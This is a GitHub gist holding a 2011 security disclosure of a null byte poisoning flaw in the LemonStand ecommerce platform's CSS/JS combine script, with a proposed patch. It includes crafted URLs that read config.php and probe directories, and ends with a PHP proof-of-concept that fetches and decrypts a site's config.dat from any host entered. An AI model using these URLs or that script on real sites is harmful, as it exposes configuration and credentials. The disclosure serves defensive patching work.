Skip to content

Instantly share code, notes, and snippets.

@EHLOVader
Last active October 7, 2023 17:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save EHLOVader/343103dcb454d41bbe18 to your computer and use it in GitHub Desktop.
Save EHLOVader/343103dcb454d41bbe18 to your computer and use it in GitHub Desktop.
Lemonstand vulnerability report: NULL byte poisoning

Security Vulnerability Disclosure Report

Null Byte Poisoning within LemonStand ecommerce platform

Originally reported by Joseph Richardson @EHLOVader on 2011-11-07 disclosure policy (RFv2.0)

WHAT

A NULL byte poisoning in URL for both CSS and JS combination script

AFFECTED SYSTEMS

PHP < 5.3.4

DESCRIPTION

A maliciously formed URL like the following:

/ls_css_combine/?file[]=%2Fconfig%2Fconfig.php%00.css&src_mode=1

Where a NULL byte (%00) has been encoded between the correct file extension and an expected or "safe" extension. file_info will use the full string, but file_get_contents will only use up to the first null byte due to a NULL byte injection issue related to the C code that PHP relies on for filesystem functions.

This can be used to uncover configuration details, code disclosure, or other sensitive files that could be accessed such as downloadable content, or private files.

Although harder, a blind attack could find multiple things given the feedback for directories that exist or don't exist.

  /ls_css_combine/?file[]=%2Fmodules%2Fblog%00.css&src_mode=1

Which will return blank indicating directory exists

/ls_css_combine/?file[]=%2Fmodules%2Fnothing%00.css&src_mode=1

Will return:

/* Asset Error: asset C:/WebDev/SVN/LemonStand/trunk/ls/modules/nothing.css not found. */

Indicating directory and file is nonexistent.

PROPOSED FIX

In order to prevent NULL byte poisoning you only need to replace chr(0) with '' within all input that could have possibly come from the user. As follows:

  str_replace(chr(0), '', $string);

I suggest the folowing diff to correct the issues:

      --- \phproad\system\combine_resources.php Mon Nov 07 15:18:00 2011
      +++ \phproad\system\combine_resources.php Mon Nov 07 17:10:53 2011
      @@ -60,14 +60,14 @@
       
       	foreach($files as $url) 
       	{
      -		$file = urldecode($url);
      +	$file = str_replace(chr(0), '', urldecode($url));
       
       
       		if (array_key_exists($file, $aliases))
       			$file = $aliases[$file];

FURTHER READING AND RESOURCE LINKS

<?php
$host = $this->data['host'] = isset($_POST['host'])?post('host'):$_SERVER['SERVER_NAME'];
$uri = $this->data['uri'] = isset($_POST['uri'])?post('uri'):'/';
$framework = Phpr_SecurityFramework::create();
$file_path = 'http://' . $host . $uri. 'ls_css_combine/?file[]=%2Fconfig%2Fconfig.dat%00.css&src_mode=1';
try{
$data = $framework->decrypt(file_get_contents($file_path), '@#$7as23', '#0qw4-3dk');
}catch(Exception $e)
{
$data = (string)$e;
}
$raw = $this->data['raw'] = $data;
?>
<html>
<head>
<style type="text/css">
div
{
vertical-align:top;
}
input, textarea
{
width:300px;
}
textarea
{
height:150px;
}
label
{
font-weight:bold;
width:140px;
float:left;
}
</style>
</head>
<body>
<div>
<label>Config Value is : </label>
<div class='field-wrap'><? var_dump($raw) ?></div>
</div>
<form action="#" method="post">
<div>
<label for='host-field'>HostName:</label>
<span class='field-wrap'><input id='host-field' name="host" value="<?=$host?>"></span>
</div>
<div>
<label for='uri-field'>URI:</label>
<span class='field-wrap'><input id='uri-field' name="uri" value="<?=$uri?>"></span>
</div>
<button type="submit">create</button>
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment